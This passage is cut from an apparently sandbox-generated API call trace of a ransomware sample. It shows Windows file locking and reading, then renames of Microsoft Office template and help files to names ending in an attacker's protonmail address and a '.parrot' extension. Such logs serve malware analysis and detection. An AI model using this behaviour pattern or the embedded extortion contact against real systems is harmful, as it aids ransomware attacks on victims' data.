office\\office14\\1033\\quickstyles\\manuscript.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225fe68 | out: hHeap=0x5b0000) returned 1 [0178.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0178.945] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4098 | out: hHeap=0x5b0000) returned 1 [0178.954] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0178.954] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.955] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.956] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.956] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21ac, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x21ac, lpOverlapped=0x0) returned 1 [0178.958] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.958] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0178.958] CloseHandle (hObject=0x288) returned 1 [0178.958] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\modern.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\modern.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3298 | out: hHeap=0x5b0000) returned 1 [0178.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0178.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4098 | out: hHeap=0x5b0000) returned 1 [0178.966] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8cf7b, nNumberOfBytesToLockHigh=0x0) returned 1 [0178.966] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.966] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.968] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.968] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8ce63, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8ce63, lpOverlapped=0x0) returned 1 [0178.991] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.018] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8cf7b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.018] CloseHandle (hObject=0x288) returned 1 [0179.019] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\newsprint.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\newsprint.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225fe68 | out: hHeap=0x5b0000) returned 1 [0179.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0179.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0179.027] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5bf7, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.027] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.027] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0179.029] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.029] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5adf, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5adf, lpOverlapped=0x0) returned 1 [0179.031] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.032] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5bf7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.032] CloseHandle (hObject=0x288) returned 1 [0179.033] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\perspective.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\perspective.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.036] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225fe68 | out: hHeap=0x5b0000) returned 1 [0179.036] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0179.036] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b80d8 | out: hHeap=0x5b0000) returned 1 [0179.038] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2210, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.038] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.038] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0179.040] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.040] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20f8, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x20f8, lpOverlapped=0x0) returned 1 [0179.041] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.042] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2210, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.042] CloseHandle (hObject=0x288) returned 1 [0179.042] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\simple.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\simple.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.045] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3298 | out: hHeap=0x5b0000) returned 1 [0179.045] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0179.045] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4098 | out: hHeap=0x5b0000) returned 1 [0179.047] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5e56, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.047] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.047] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0179.049] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.049] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5d3e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5d3e, lpOverlapped=0x0) returned 1 [0179.050] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.050] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5e56, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.050] CloseHandle (hObject=0x288) returned 1 [0179.050] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\thatch.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\thatch.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3298 | out: hHeap=0x5b0000) returned 1 [0179.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0179.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b80d8 | out: hHeap=0x5b0000) returned 1 [0179.056] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2308, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.056] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.056] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0179.057] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.057] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21f0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x21f0, lpOverlapped=0x0) returned 1 [0179.058] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.059] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2308, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.059] CloseHandle (hObject=0x288) returned 1 [0179.059] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\traditional.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\traditional.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.062] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225fe68 | out: hHeap=0x5b0000) returned 1 [0179.062] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0179.062] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4098 | out: hHeap=0x5b0000) returned 1 [0179.064] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0179.064] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf6c17ae0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf6c17ae0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.064] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95af5900, ftCreationTime.dwHighDateTime=0x1c7e846, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf696a220, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x24a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic.dotx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="CLASSI~1.PAR")) returned 1 [0179.065] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ac2, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.065] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.065] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.099] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.099] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x39aa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x39aa, lpOverlapped=0x0) returned 1 [0179.100] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.101] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ac2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.101] CloseHandle (hObject=0x27c) returned 1 [0179.101] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_init.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_init.xsn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3720 | out: hHeap=0x5b0000) returned 1 [0179.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0179.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b6098 | out: hHeap=0x5b0000) returned 1 [0179.107] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4945, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.107] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.107] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.109] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.109] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x482d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x482d, lpOverlapped=0x0) returned 1 [0179.110] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.110] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4945, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.110] CloseHandle (hObject=0x27c) returned 1 [0179.110] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_review.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_review.xsn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b2738 | out: hHeap=0x5b0000) returned 1 [0179.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0179.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x228c050 | out: hHeap=0x5b0000) returned 1 [0179.117] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe92, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.117] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.117] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.118] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.118] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7a, lpOverlapped=0x0) returned 1 [0179.119] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.119] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe92, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.119] CloseHandle (hObject=0x27c) returned 1 [0179.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rose.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rose.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0179.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0179.123] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0179.125] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc185, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.125] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.125] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.127] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.127] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc06d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc06d, lpOverlapped=0x0) returned 1 [0179.129] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.129] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc185, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.130] CloseHandle (hObject=0x27c) returned 1 [0179.130] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rplbrf35.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rplbrf35.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0179.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0179.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0179.149] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbe80, nNumberOfBytesToLockHigh=0x0) returned 1 [0179.149] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0179.149] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0179.151] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.151] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbd68, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbd68, lpOverlapped=0x0) returned 1 [0179.152] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.153] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbe80, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0179.153] CloseHandle (hObject=0x288) returned 1 [0179.153] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0179.157] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0179.157] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0179.157] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0179.162] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6131c, 